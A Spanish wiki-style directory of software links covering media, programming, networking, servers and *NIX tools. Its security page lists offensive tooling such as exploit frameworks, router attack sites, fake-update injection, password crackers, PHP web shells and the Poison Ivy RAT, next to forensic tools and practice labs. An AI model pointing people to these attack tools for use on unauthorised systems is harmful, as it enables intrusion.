* XMMS: http://www.xmms.org/
* Amarok: http://amarok.kde.org/
* Rhythmbox: http://projects.gnome.org/rhythmbox/
* Banshee: http://banshee.fm/
* Exaile ([[Python]]): http://www.exaile.org/
* Audacious: http://audacious-media-player.org/
* Beep Media Player: http://sourceforge.net/projects/beepmp/
* Listen: https://www.listen-project.org

!! Reproductores vídeo
!!! Multiplataforma
* VLC: http://www.videolan.org/vlc/
* """MPlayer""": http://www.mplayerhq.hu/design7/news.html
* """SMPlayer""" (GUI para """MPlayer"""): http://smplayer.sourceforge.net/
* Miro Video Player: http://getmiro.com/

!!! [[Windows]]
* Media Player Classic: http://sourceforge.net/projects/mpc-hc/
* Pandora """KMPlayer""": http://download.pandora.tv/?mode=kmp&tab=1
* GOM media player: gomlab.com/eng/GMP_Introduction.html
* Kantaris: http://kantaris.org/
* """SPlayer""": http://www.splayer.org/index.en.html

!!! [[*NIX]]
* Xine: http://www.xine-project.org/home
* Totem: http://projects.gnome.org/totem/
* KPlayer: http://kplayer.sourceforge.net/
* Kaffeine: http://kaffeine.kde.org/
* """GStreamer""": http://gstreamer.net/

!! Editores de sonido
!!! Multiplataforma
* Audacity: http://audacity.sourceforge.net/

!!! [[Windows]]
* MP3 Direct Cut: http://mpesch3.de1.cc/mp3dc.html
* Power Sound Editor: http://www.free-sound-editor.com/
* Music Editor Free: http://www.music-editor.net/
* MP3 Gain: http://mp3gain.sourceforge.net/

!!! [[*NIX]]
* Linux Multi Media Studio: http://lmms.sourceforge.net/
* Rose Garden: http://www.rosegardenmusic.com/
* Ardour: http://ardour.org/
* """KWave""": http://kwave.sourceforge.net/
* GLAME: http://glame.sourceforge.net/index.var
* Jackbeat: http://jackbeat.samalyse.org/
* Sweep: http://www.metadecks.org/software/sweep/
* XO Wave: http://www.xowave.com/about.html

!! Editores de vídeo
* Cinco editores de código abierto: http://www.cyberhades.com/2010/11/29/cinco-editores-de-video-de-codigo-abierto

!!! Multiplataforma
* Avidemux ([[*NIX]] y [[Windows]]): http://avidemux.sourceforge.net/

!!! [[Windows]]
* WAX: http://www.debugmode.com/wax/
* Virtual DUB: http://www.virtualdub.org/
* """vReveal""": http://www.vreveal.com/features
* Windows Movie Maker: http://www.microsoft.com/downloads/details.aspx?FamilyID=D6BA5972-328E-4DF7-8F9D-068FC0F80CFC&displaylang=es
* Windows Live Movie Maker: http://explore.live.com/windows-live-movie-maker?os=winxp
* AVS Video Editor: http://www.avs4you.com/AVS-Video-Editor.aspx?sct=aff&ct=avangate&cid=9958

!!! [[*NIX]]
* Kdenlive: http://www.findbestopensource.com/product/kdenlive
* Cinelerra: http://www.heroinewarrior.com/cinelerra.php
* Pitivi: http://www.pitivi.org/
* Cinefx, antiguo Jashaka: http://www.cinefx.org/cinefx/
* Kino: http://www.kinodv.org/
* Lives: http://lives.sourceforge.net/
* Open Shot Video Editor: http://www.openshotvideo.com/
* Open Video Movie Editor: http://www.openmovieeditor.org/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Recodificar todos los mp3 de una carpeta en ogg^^[[<editar>|$1]]^^
Se puede recodificar muy fácilmente con el script[[mp32ogg|http://faceprint.com/code/]] que convierte un mp3 en un ogg. Para convertir TODOS los de un directorio:
<code bash>
for i in `find -type d` ; do cd $i ; mp32ogg --delete *.mp3 ; cd - ; done
</code>
Este código es fácilmente reutilizable cambiando las extensiones y los programas por otros.
<<showtoc>>
! Descripción
<part descripcion>
Software utilizado para programar, como IDEs, compiladores, editores, formateadores de código, etc.
</part>
! Enlaces
<part enlaces>
!! IDEs
!!! Multilenguaje
* [[Eclipse]]: http://eclipse.org
* NetBeans: http://netbeans.org/
* KDevelop: http://www.kdevelop.org/
* Komodo IDE: http://www.activestate.com/komodo-ide

!!! [[Java]]
* JDeveloper: http://www.oracle.com/technology/products/jdev/index.html
* JCreator: http://jcreator.com/
* JBuilder: http://www.embarcadero.com/products/jbuilder
* Blue J: http://bluej.org/
* Dr Java: http://www.drjava.org/
* jGRASP: http://www.jgrasp.org/
* Google App Inventor (dalvik): http://appinventor.googlelabs.com/learn/setup

!!! [[.Net y Mono|.Net]]
* Visual Studio: http://www.microsoft.com/visualstudio
* Sharp Develop: http://sharpdevelop.com/
* Mono Develop: http://monodevelop.com/

!!! [[C y C++|FamiliaC]]
* Anjuta: http://www.anjuta.org/
* Dev C++: http://www.bloodshed.net/devcpp.html
* C++ Builder: http://www.embarcadero.com/products/cbuilder
* Code Blocks: http://www.codeblocks.org/
* Code Lite: http://www.codelite.org/
* Ultimate++: http://www.ultimatepp.org/
* Geany: http://www.geany.org/

!!! [[Python]]
* """PyDev""" (sobre eclipse): http://pydev.org/
* SPE: http://pythonide.stani.be/
* Eric: http://eric-ide.python-projects.org/
* Pida: http://pida.co.uk/
* Wing: http://wingware.com/products
* """PyCharm""": http://www.jetbrains.com/pycharm/

!!! [[PHP]]
* Quanta Plus: http://quanta.kdewebdev.org/
* Zend Studio: http://www.zend.com/en/products/studio/
* Aptana Studio (sobre eclipse): http://aptana.com/

!!! Otros
* GNAT ([[ADA]]): http://libre.adacore.com/libre/tools/gps/
* Gambas ([[Basic]]): http://gambas.sourceforge.net/en/main.html
* Lazarus ([[Pascal]]): http://www.lazarus.freepascal.org/
* Morfik (¿[[Pascal]]?): http://wiki.morfik.com/wiki3/Introduction
* Squeak ([[Smalltalk]]): http://www.squeak.org/

!! Editores de texto avanzados
!!! Multiplataforma
* """SciTE""": http://www.scintilla.org/SciTE.html
* VIM: http://www.vim.org/
* Emacs: http://www.gnu.org/software/emacs/
* JEdit: http://www.jedit.org/
* Komodo Edit: http://www.activestate.com/komodo-edit

!!! Windows
* Notepad++: http://www.notepad-plus-plus.org/
* """PSPad""": http://www.pspad.com/es/

!!! Linux
* Kate: http://kate-editor.org/

!! Heditores hexadecimales
!!! Multiplataforma
* Hexer (java): http://www.the-interweb.com/serendipity/index.php?/categories/11-Hexer
* Radare (python): http://radare.nopcode.org/new/
* Bless Hex Editor (mono): http://home.gna.org/bless/
* Pyew (python): http://code.google.com/p/pyew/
* Beye (compilado): http://sourceforge.net/projects/beye/

!!! Windows
* """HxD""": http://mh-nexus.de/en/hxd/
* File Insight: http://vil.nai.com/vil/averttools.aspx
* Win Hex (de pago): http://www.winhex.com/winhex/index-e.html
* Tinyhexer: http://www.mirkes.de/files/

!!! Linux
* Okteta (KDE): http://utils.kde.org/projects/okteta/
* Ghex:  http://live.gnome.org/Ghex

!! SCM (Source Code Managment)
!!! CVS
* Tortoise CVS: http://www.tortoisecvs.org/

!!! Subversion
* Tortoise SVN: http://tortoisesvn.tigris.org/

!!! Git
* Git Inmersion: http://gitimmersion.com/index.html
* Git for Windows: https://code.google.com/p/msysgit/
* Libro Git Magic: http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/es/

!!! Mercurial
* Mercurial: http://mercurial.selenic.com/downloads/

!!! Bazaar
* Bazaar: http://wiki.bazaar.canonical.com/Download

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Software de uso en redes de computadores, como redes locales o internet
</part>
!Enlaces
<part enlaces>
!! Simulación de redes
* Graphical Network Simulator: http://www.darknet.org.uk/2010/11/gns3-graphical-network-simulator/

!! Análisis y representación gráfica del tráfico de red
* TNV: http://seguridadyredes.nireblog.com/post/2010/07/01/tnv-herramienta-grafica-de-visualizacian-e-interpretacian-de-trafico-de-red
* After Glow: http://seguridadyredes.nireblog.com/post/2010/06/28/visualizacian-grafica-de-ficheros-pcap-con-afterglow
* IO Graph: http://seguridadyredes.nireblog.com/post/2009/02/20/wireshark-tshark-usando-io-graph-para-relacionar-acks-duplicados-lost-segment-y-retransmisiones
* Inet Vis: http://seguridadyredes.nireblog.com/post/2010/11/04/inetvis-representacion-tridimensional-de-capturas-de-red-a-partir-de-archivos-pcap-parte-i
* Net Grok: http://seguridadyredes.nireblog.com/post/2010/11/09/netgrok-visualizando-graficamente-el-trafico-de-red-en-tiempo-real-visualizacian-pcap
* Análisis de tráfico con Wireshark: http://cert.inteco.es/cert/Notas_Actualidad/informe_sobre_analisis_trafico_wireshark_20110211

!! DNS y resolución de nombres de dominio e IPs
* Crea tu propia herramienta en Perl (tutorial): http://www.securitybydefault.com/2010/11/kodiakdns-cuando-los-pentesters.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Software sobre seguridad: como obtenerla y como saltársela
</part>
!Enlaces
<part enlaces>
!! Colecciones y repositorios
* Herramientas de 48 Bits: http://blog.48bits.com/tools/
* Guía de herramientas de Scurity Focus: http://www.securityfocus.com/tools/
* Portcullis Labs: http://labs.portcullis.co.uk/tag/tool/
* 100 open source security tools: http://www.jayphilips.com/2009/10/06/100-open-source-free-security-tools/
* top 100 de insecure.org: http://sectools.org/
* Herramientas gratuitas de Nirsoft: http://www.nirsoft.net/
* Wardriving en Point Black: http://www.pointblanksecurity.com/wardriving-tools.php
* Wardrive.net: http://www.wardrive.net/wardriving/tools/
* HSC tools: http://www.hsc.fr/ressources/outils/index.html.en
* Herramientas gratuitas de Immunity Inc: http://immunityinc.com/resources-freesoftware.shtml
* Herramientas de OWASP: http://www.owasp.org/index.php/Category:OWASP_Tool
* The Hacker's Choide: http://freeworld.thc.org/root/tools/
* Wireless Tools: http://www.wirelessdefence.org/Contents/WirelessLinuxTools.htm
* """PenTBox""": http://www.pentbox.net/list-of-tools-updated/
* Listado de herramientas de auditoría web: http://www.securitybydefault.com/2010/04/herramientas-de-auditoria-web.html
* Herramientas en Python: http://dirk-loss.de/python-tools.htm
* Herramientas básicas (por Dragon Jar): http://comunidad.dragonjar.org/f152/algunos-utiles-basicos-en-el-hacking-etico-10197/
* Herramientas en el wiki de Whiresark: http://wiki.wireshark.org/Tools
* Completísimo repositorio de {{{pentester.fr}}}: http://pentester.fr/resources/
* BinPack, descarga fácilmente las herramientas para windows: http://westcoasthackers.net/blog/2010/08/binpack-2-0-1-release/
* Herramientas Wireless según Tech Faq: http://www.tech-faq.com/wi-fi-software-tools.html
* Hack Armoury: http://www.hackarmoury.com/
* 101 utilidades de Conexión Inversa: http://conexioninversa.blogspot.com/2011/11/101-utilidades-forenses.html

!!Aplicaciones vulnerables y para aprendizaje y pruebas
* Damn Vulnerable Web Application: http://dvwa.co.uk/
* OWASP Web Goat: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
* Moth: http://www.bonsai-sec.com/es/research/moth.php
* Hacme Bank: http://www.foundstone.com/us/resources/proddesc/hacmebank.htm
* Web Security Dojo: http://www.darknet.org.uk/2010/03/web-security-dojo-training-environment-for-web-application-security/
* Vicnum: http://vicnum.ciphertechs.com/
* Jarlsberg de Google: http://jarlsberg.appspot.com/
* Net in VM: http://www.pentester.es/2010/06/netinvm-red-en-una-maquina-virtual.html
* Web for Pentester: https://pentesterlab.com/web_for_pentester.html

!! LiveCDs y LiveUSBs
* NIST NST: http://www.networksecuritytoolkit.org/
* Katana: http://www.hackfromacave.com/katana.html
* SliTaz: http://www.slitaz.org/es/
* WifiSlax: http://www.wifislax.com/
* BackTraq: http://www.remote-exploit.org/backtrack.html
* Bug Track: www.bugtraq-team.com
* Samurai Web Testing: http://samurai.inguardians.com/
* Neo Pown (bactrack para N900): http://www.neopwn.com/
* Tu propio ~LiveUSB paso a paso: http://www.dragonjar.org/memoria-usb-booteable-con-varias-distribuciones-de-seguridad-informatica.xhtml
* Puck, distribución para equipos viejos: http://www.dragonjar.org/distribucion-de-seguridad-para-equipos-lentos.xhtml
* Smooth Sec: http://www.daboweb.com/2011/03/14/smooth-sec-sistema-ids-ips-con-motor-suricata-e-interface-snorby/

!! Utilidades en línea
* Buscador de equipos: http://shodan.surtri.com/ (alternativa http://www.shodanhq.com)
* Zero Day Scan: http://www.zerodayscan.com/
* Online Packet Builder: http://www.linkbit.com/uiplus/
* Online Protocol Analizer: http://www.linkbit.com/omw/
* iKAT, saltar restricciones de kioskos: http://ikat.ha.cked.net/index.html
* Routerpwn, ataque a routers: http://routerpwn.com

!! Frameworks y kits de herramientas multiusos
* Inguma: http://sourceforge.net/projects/inguma/
* Inguma 2: https://code.google.com/p/inguma/ 
* Metaesploit: http://www.metasploit.com/
* Exploit DB: http://www.exploit-db.com/
* Automatizador de ataques: http://winautopwn.co.nr/
* Anubis, todo en uno: http://elblogdecalles.es/anubis.html
* SET (The Social-Engineer Toolkit): http://www.dragonjar.org/the-social-engineer-toolkit.xhtml
* Mantra, framework integrado en un navegador: http://www.getmantra.com/index.html
* BeEF (The Browser Exploitation Framework): http://beefproject.com/
* Android Mercury: http://labs.mwrinfosecurity.com/tools/2012/03/16/mercury/
** Artículo y tutorial: http://www.hackplayers.com/2012/03/mercury-framework-para-la-auditoria-de.html

!! Tutoriales y reviews
* Serie "Episodio de Pentesting" de Flu Project (introducción rápida a herramientas populares):
** Parte 1, introducción y glosario: http://www.flu-project.com/episodio-de-pentesting-parte-i.html
** Parte 2, simular un entorno con máquinas virtuales: http://www.flu-project.com/episodio-de-pentesting-parte-ii.html
** Parte 3, escaneo con nmap: http://www.flu-project.com/episodio-de-pentesting-parte-iii.html
** Parte 4, introducción a los exploits: http://www.flu-project.com/episodio-de-pentesting-parte-iv.html
** Parte 5, uso de un exploit con metasploit: http://www.flu-project.com/episodio-de-pentesting-parte-v.html
** Parte 6, ettercap: http://www.flu-project.com/episodio-de-pentesting-parte-vi.html
** Parte 7, clonado de web para ingeniería social: http://www.flu-project.com/episodio-de-pentesting-parte-vii.html
** Parte 8, meterpreter: http://www.flu-project.com/episodio-de-pentesting-parte-viii.html
** Parte 9, Armitage y SET: http://www.flu-project.com/episodio-de-pentesting-parte-ix.html

!! Herramientas por tema
!!! Cifrado
* Truecrypt: http://www.truecrypt.org/
** Artículo en la wikipedia: http://en.wikipedia.org/wiki/Truecrypt
* EncFS: http://www.arg0.net/encfs
** Articulo en la wikipedia: http://en.wikipedia.org/wiki/EncFS
* EncFS4win: http://members.ferrara.linux.it/freddy77/encfs.html
** Uso con DropBox: http://www.securitybydefault.com/2011/05/sistema-de-ficheros-cifrado-bajo.html
* cryptonite ([[Android]]): https://code.google.com/p/cryptonite/

!!! Conexion entre hosts:
* pwNAT, traspasar NAT: http://samy.pl/pwnat/
* [[Netcat]]: http://nmap.org/ncat/guide/index.html
* Facecat, TCP/IP over Facebook: http://tools.pentester.es/facecat

!!! MAC spoofing
* Ether Change (windows): http://www.ntsecurity.nu/toolbox/etherchange/
* MAC changer (linux): http://www.alobbs.com/macchanger/
* MAC shift (windows): http://devices.natetrue.com/macshift/
* smac (windows): http://www.klcconsulting.net/smac/

!!! SQL injection
* Marathon Timed Blind SQL Injection: http://elladodelmal.blogspot.com/2008/08/marathon-tool.html
* SQL Map: http://sqlmap.sourceforge.net/

!!! Editores hexadecimales avanzados
* radare: http://www.radare.org/new/?
* pyew: http://code.google.com/p/pyew/

!!! Escaneo, enumeración e inventariado de redes
* Nmap: http://nmap.org/book/
* Satori, OS Fingerprinting pasivo: http://myweb.cableone.net/xnih/
* Escaneo pasivo de redes: http://networkminer.sourceforge.net/
* Am I Spammer: http://www.lorenzomartinez.es/projs/amispammer/
* The Harvester([[Python]]): https://code.google.com/p/theharvester/

!!! Identificación de servidores web
* Identificador de servicios web: http://freeworld.thc.org/root/tools/vmap.tar.gz
* What Web: http://www.morningstarsecurity.com/research/whatweb

!!! Captura y manipulación de paquetes
* scapy: http://www.secdev.org/projects/scapy/
* XPlico (decodificador de paquetes de internet - analizador de ficheros dump): http://www.xplico.org/
* pycap: http://pycap.sourceforge.net/
* Guía de TCP dump: http://acs.lbl.gov/~jason/tcpdump_advanced_filters.txt
* Win Dump: http://www.winpcap.org/windump/
* Xplico, analizador de ficheros .cap: http://www.xplico.org/about
* Loki: https://www.c0decafe.de/loki.html
** Artículo sobre Loki: http://www.packetstan.com/2011/02/running-loki-on-backtrack-4-r2.html
* Justniffer: http://justniffer.sourceforge.net/
** Tutorial básico de Justniffer: http://seguridadyredes.wordpress.com/2011/11/08/justniffer-un-sniffer-que-reensambla-reordena-y-muestras-los-flujos-tcp/
* netsniffer-ng: http://www.netsniff-ng.org
** Tutorial básico de netsniffer-ng: http://seguridadyredes.wordpress.com/2011/11/11/netsniff-ng-un-sniffer-diferente-de-alto-rendimiento-parte-i
* Hex Inject: http://hexinject.sourceforge.net/

!!! Generadores de paquetes
* Ostinato: http://code.google.com/p/ostinato/
* hping: http://www.hping.org/
* scapy: http://www.secdev.org/projects/scapy/
* TCP relay: http://tcpreplay.synfin.net/
* """packETH""": http://packeth.sourceforge.net/
* Network Traffic Generator: http://sourceforge.net/projects/traffic/
* Bit Twist: http://bittwist.sourceforge.net/
* Network Expect: http://netexpect.org/wiki
* Distributed Internet Traffic Generator: http://www.grid.unina.it/software/ITG/
* Mausezahn: http://www.perihel.at/sec/mz/
* Play CAP: http://www.signal11.us/oss/playcap/
* Linkbit (online generator): http://www.linkbit.com/uiplus/

!!! [[ARP spoofing]] y [[Man in the middle]]
* ettercap: http://ettercap.sourceforge.net/
** Tutorial de Flu Project: http://www.flu-project.com/jugando-con-ettercap-parte-i-de-iii.html
* Cain: http://www.oxid.it/cain.html
* Loki, MITM masivo: http://www.ernw.de/content/e6/e180/index_eng.html
* PRN-2-me, MITM con impresoras(en [[Python]]): http://blog.c22.cc/2010/11/23/printer-mitm-revisited-prn-2-me/
* Evilgrade, inyección de actualizaciones falsas: http://www.infobytesec.com/developments.html

!!! Detección y protección
* xarp: http://www.chrismc.de/development/xarp
* arpon: http://arpon.sourceforge.net/index.html
* seringe: http://www.securiteam.com/tools/5QP0I2AC0I.html
* Varios: http://seguridadyredes.nireblog.com/post/2009/11/27/detectando-sniffers-en-nuestra-red-redes-conmutadas-y-no-conmutadas-actualizacion#more
* Patriot NG: http://www.security-projects.com/?Patriot_NG
* Route IDS: http://code.google.com/p/sbdtools/downloads/detail?name=route-ids.pl&can=2&q=#makechanges
* Shaper Probe (prueba de DNS): http://www.cc.gatech.edu/~partha/diffprobe/shaperprobe.html
* Fail2ban, bloquea conexiones fallidas: http://www.fail2ban.org/wiki/index.php/Main_Page
** Tutorial de Flu Project: http://www.flu-project.com/fail2ban-para-banear-fuerza-bruta.html

!!! Wardriving y cracking wireless
* Kismet: http://www.kismetwireless.net/
* aircrack-ng: http://www.aircrack-ng.org/
* caWPAtty (página principal): http://www.churchofwifi.org/default.asp?PageLink=Project_Display.asp?PID=95
* caWPAtty (artículo): http://www.wirelessdefence.org/Contents/coWPAttyMain.htm
* GRIM WEPA (en [[Java]] y discontinuado): http://code.google.com/p/grimwepa/
* Wifite (mejora del anterior): http://code.google.com/p/wifite/
* Convierte una Raspberry Pi en un punto de acceso malicioso: http://www.hackplayers.com/2013/05/raspberry-pi-wireless-attack-toolkit.html

!!! Descompiladores y análisis de ejecutables
!!!! Debuggers
* IDA Pro disassembler: http://www.hex-rays.com/idapro/
** Tutorial de IDA Pro: http://blog.0xbadc0de.be/archives/67
* IDA Freeware: http://www.hex-rays.com/idapro/idadownfreeware.htm
* Olly Dbg: http://www.ollydbg.de/
* Decompilador online de Java, .net y flash: http://www.showmycode.com/

!!!! Análisis estático
* Análisis de ficheros PE (ejecutables): http://www.ntcore.com/exsuite.php
* peframe ([[Python]]): http://code.google.com/p/peframe/

!!! Análisis forense de discos
* The Sleuth Kit: http://www.sleuthkit.org/
* Análisis forense de FAT: http://www.digital-forensic.org/download-en.html
* FTK Imager: http://accessdata.com/support/adownloads#FTKImager

!!! Extracción de metadatos de ficheros
* PDF Resurrect, metadatos en PDFs: http://www.757labs.com/projects/pdfresurrect/
* FOCA: http://www.informatica64.com/DownloadFOCA/
* Creepy: https://github.com/ilektrojohn/creepy

!!! Crackeadores de contraseñas
* Password cracker multiprotocolo: http://nmap.org/ncrack/
* ophcrack: http://ophcrack.sourceforge.net/
* John the Ripper: http://www.openwall.com/john/
* THC Hydra: http://freeworld.thc.org/thc-hydra/
* """L0phtCrack""": http://www.l0phtcrack.com/
* Brutus: http://www.hoobie.net/brutus/

!!! Escáneres de vulnerabilidades
* Skipfish: http://code.google.com/p/skipfish/
* 8 escáneres sencillos, potentes y gratuitos: http://www.securitybydefault.com/2010/04/8-herramientas-de-seguridad-web.html
* N-Stalker Free Edition: http://nstalker.com/products/free
* w3af (python): http://w3af.sourceforge.net/
* skipfish: http://w3af.sourceforge.net/
* wapiti: http://www.ict-romulus.eu/web/wapiti/home
* NMAP online: http://www.securitybydefault.com/2011/03/nmap-esta-vez-desde-la-web.html
* X-Scan, vulnerabilidades en red: http://www.xfocus.org/programs/200507/18.html

!!! Honeypots
* SSL Honeypot Kojoney: http://kojoney.sourceforge.net/

!!! Proxy
* Burp: http://portswigger.net/suite/download2.html
* Burp Suite: http://portswigger.net/burp/proxy.html
** Tutorial: http://www.securitybydefault.com/2012/02/interceptar-con-un-proxy-peticiones-ssl.html
* Paros: http://www.parosproxy.org/index.shtml
* FreeCap (proxyficador): http://www.freecap.ru/eng/?p=index
* WideCap (proxyficador mejorado): http://widecap.ru/en/

!!! Túneles y VPNs
* DNS tunnel: http://dnstunnel.de/
* DNS 2 TCP: http://www.hsc.fr/ressources/outils/dns2tcp/index.html.en
* Open VPN: http://openvpn.net/

!!! Dump de memoria y debuggers forenses
* Moon Sols, dump de memoria: http://moonsols.com/blog/2-blog/9-moonsols-windows-memory-toolkit
** Artículo sobre Moon Sols: http://www.cyberhades.com/2011/02/07/moonsols-windows-memory-toolkit-herramienta-para-analizar-la-memoria/
* Volatility (framework hecho en python): https://www.volatilesystems.com/default/volatility

!!! Recopilación de información
* Maltego: https://www.paterva.com/web5/client/download.php
** Tutoriales de El Lado del Mal: http://www.elladodelmal.com/2010/08/mineria-de-datos-con-maltego-1-de-2.html
* Enumerador de cuentas de usuarios Scythe: https://github.com/ChrisJohnRiley/Scythe
** Tutorial de Flu Project: http://www.flu-project.com/scythe-account-enumerator.html
* Automater: https://github.com/1aN0rmus/TekDefense/blob/master/Automater.py
** Tutorial de Security By Default: http://www.securitybydefault.com/2013/03/automater-obteniendo-informacion-de-ip.html

!!! Remote shell y RAT
* Weevely (php): http://epinna.github.com/Weevely/
** Tutoprial de SdB: http://www.securitybydefault.com/2013/02/weevely-una-shell-php-diferente.html
* Meterpreter (parte de metasploit): https://www.offensive-security.com/metasploit-unleashed/About_Meterpreter
** Tutorial de Flu Project: http://www.flu-project.com/coqueteando-con-metasploit-meterpreter-i.html
* BeEF (contiene una shell remota en javascript): http://beefproject.com/
** Tutorial de BeEF de Flu Project: http://www.flu-project.com/pentest-con-beef-explotando-xss-i-de-v.html
* Poison Ivy: http://www.poisonivy-rat.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Listado de software de servidores de todo tipo de protocolos y formatos.
</part>
!Enlaces
<part enlaces>

!! Servidores HTTP
* Apache: http://httpd.apache.org/
* Light HTTP: http://www.lighttpd.net/
* Internet Information Server (Windows): http://www.microsoft.com/iis
* Cherokee Web Server: http://www.cherokee-project.com/
* App Web Server: http://appwebserver.org/
* HFS, HTTP File Server: http://www.rejetto.com/hfs/
* nginx: http://www.nginx.org/
* node.js: http://nodejs.org/
** Tutorial de node.js: http://es.debugmodeon.com/articulo/introduccion-a-node-js 
* Tornado: http://www.tornadoweb.org/
* nginx: http://wiki.nginx.org/Main

!! Servidores de aplicaciones Java
!!! Contenedores
* Apache Tomcat: http://tomcat.apache.org/
* Jetty: http://jetty.codehaus.org/jetty/index.html
* OC4J: https://secure.wikimedia.org/wikipedia/en/wiki/OC4J

!!! Servidores J2EE
* JOnAS: http://wiki.jonas.ow2.org/xwiki/bin/view/Main/WebHome
* JBoss: http://www.jboss.org/
* Glass Fish: http://glassfish.java.net/
* Web Logic: http://www.oracle.com/us/products/middleware/application-server/index.htm
* Web Sphere: http://www-01.ibm.com/software/websphere/
* Geronimo: http://geronimo.apache.org/
* OAS: https://secure.wikimedia.org/wikipedia/en/wiki/Oracle_Application_Server

!! Servidores de bases de datos
!!! Servidores gratuitos o con versiones gratuitas
* Adabas: http://www.softwareag.com/Corporate/products/adabas/rela_3rd_prod/adad/default.asp
* Apache Derby (Java): http://db.apache.org/derby/
* Firebird: http://www.firebirdsql.org/
* H2 (Java): http://www.h2database.com/html/main.html
* HSQLDB (Java): http://hsqldb.org/
* MariaDB: http://mariadb.org/
* Monet DB: http://www.monetdb.nl/
* MySQL: http://www.mysql.com/
* PostgreSQL: http://www.postgresql.org/
* SmallSQL (Java): http://www.smallsql.de/
* SQLite: http://sqlite.org/

!!! Servidores de pago
* IBM DB2: http://www-01.ibm.com/software/data/db2/
* Filemaker: http://www.filemaker.com/
* IBM Informix: http://www-01.ibm.com/software/data/informix/
* Ingres: http://www.ingres.com/
* Interbase: http://www.embarcadero.com/products/interbase
* MaxDB: http://maxdb.sap.com/
* Microsoft SQL Server: https://www.microsoft.com/sqlserver/en/us/default.aspx
* Mini SQL: http://www.hughes.com.au/products/msql/
* Oracle Database: http://www.oracle.com/us/products/database/index.html
* Rocket U2: http://www.rocketsoftware.com/u2
* SAS: http://www.sas.com/
* Solid DB: http://www-01.ibm.com/software/data/soliddb/
* Sybase: http://www.sybase.com/
* Teradata: http://www.teradata.com/t/
* Virtuoso: http://virtuoso.openlinksw.com/
* Visual Fox Pro: http://msdn.microsoft.com/es-es/vfoxpro

!! Servidores de gestión documental
* Open KM: http://www.openkm.com

!! Servidores de gestión de información (CMS y wiki)
* Wikimatrix (comparador de software): http://www.wikimatrix.org
* Dokuwiki (PHP): http://www.dokuwiki.org/dokuwiki
* Wikimedia (PHP): http://www.mediawiki.org/wiki/MediaWiki
* PM Wiki: http://www.pmwiki.org/
* PHP Wiki (PHP): http://phpwiki.sourceforge.net/
* TWiki (Perl): http://twiki.org/
* MojoMojo (Perl): http://mojomojo.org/
* MoinMoin (Python): http://moinmo.in/
* ZWiki (Python): http://zwiki.org/FrontPage
* JSP Wiki (Java): http://www.jspwiki.org/
* Atalassian Confluence (Java): http://www.atlassian.com/software/confluence/
* XWiki (Java): http://www.xwiki.org/xwiki/bin/view/Main/WebHome
* Share Point Foundation (.Net): http://office.microsoft.com/en-us/sharepoint-foundation-help/getting-started-with-sharepoint-foundation-2010-HA010370686.aspx?CTT=3
* Osirires Serverless Portal System: http://osiris.kodeware.net/
* PmWiki: http://www.pmwiki.org/

!! Servidores FTP
* Cerberus FTP (Windows): http://www.cerberusftp.com/
* Crush FTP (Java): http://www.crushftp.com/
* FileZilla: http://filezilla-project.org/
* zFTP (de pago): http://www.zftpserver.com/index.php/base/home/wiki
* glFTPd: http://www.glftpd.com/
* Pro FTPd: http://www.proftpd.org/
* Pure-FTPd: http://www.pureftpd.org/project/pure-ftpd
* vsftpd: http://vsftpd.beasts.org/

!! Servidores SSH
* Open SSH (*NIX): http://www.openssh.com/
* Moba SSH (Windows): http://mobassh.mobatek.net/en/
* Free SSHD (Windows): http://www.freesshd.com/?ctt=overview

!! Paquetes de varios servidores
* Mowes portable: http://www.chsoftware.net/en/mowes/mowesmixer/mowesmixer.htm?go=go&g=No+thanks,+take+me+to+the+download%3E%
* XAMPP: http://www.apachefriends.org/en/xampp-windows.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Servidor rápido usando netcat^^[[<editar>|$1]]^^
Servir un fichero y desconectar una vez servido:
<code bash>
do { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat test.xml; } | nc -l 8080
</code>
Servir un fichero de forma contínua:
<code bash>
while true ; do { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat test.xml; } | nc -l 8080; done
</code>
!!Servidor rápido usando Python^^[[<editar>|$1]]^^
Servir un directorio en el puerto indicado:
<code python>
python -m SimpleHTTPServer 8080
</code>
<<showtoc>>
! Descripción
<part descripcion>
Software para entornos [[UNIX y similares|*NIX]]. Fundamentalmente es un repositorio de aplicaciones para [[Linux]], la mayor parte de las cuales también se encuentran disponibles para otros entornos como FreeBSD, o incluso [[Windows]] y [[Mac]]
</part>

! Enlaces
<part enlaces>
!! Tutoriales
* 50 tutoriales para el administrador de sistemas: http://www.hackplayers.com/2012/04/50-tutoriales-para-el-administrador-de.html

!! Shells
!!! [[Bash]]
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Bash
* Página principal: http://www.gnu.org/software/bash/bash.html
* Manual: http://www.gnu.org/software/bash/manual/

!!! ZSH
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Zsh
* Página principal: http://www.zsh.org/
* Guía: http://zsh.dotsrc.org/Guide/

!! Herramientas de monitorización
!!! Monitorización del sistema de ficheros
* iwatch:
** Página principal: http://iwatch.sourceforge.net/index.html
** Artículo: http://vtroger.blogspot.com/2010/06/monitorizacion-de-integridad-de.html
* lsof
** man: http://www.netadmintools.com/html/lsof.man.html
** wikipedia: http://es.wikipedia.org/wiki/Lsof
** Artículo: http://www.alcancelibre.org/staticpages/index.php/como-lsof

!! Herramientas del sistema
!!! Gestión de paquetes
* pacman (archlinux): https://wiki.archlinux.org/index.php/Pacman
** Script para simular pacman: https://github.com/icy/pacapt

!! Misc
!!! Cosas curiosas
* Visor animado de logs: http://www.fudgie.org/
</part>

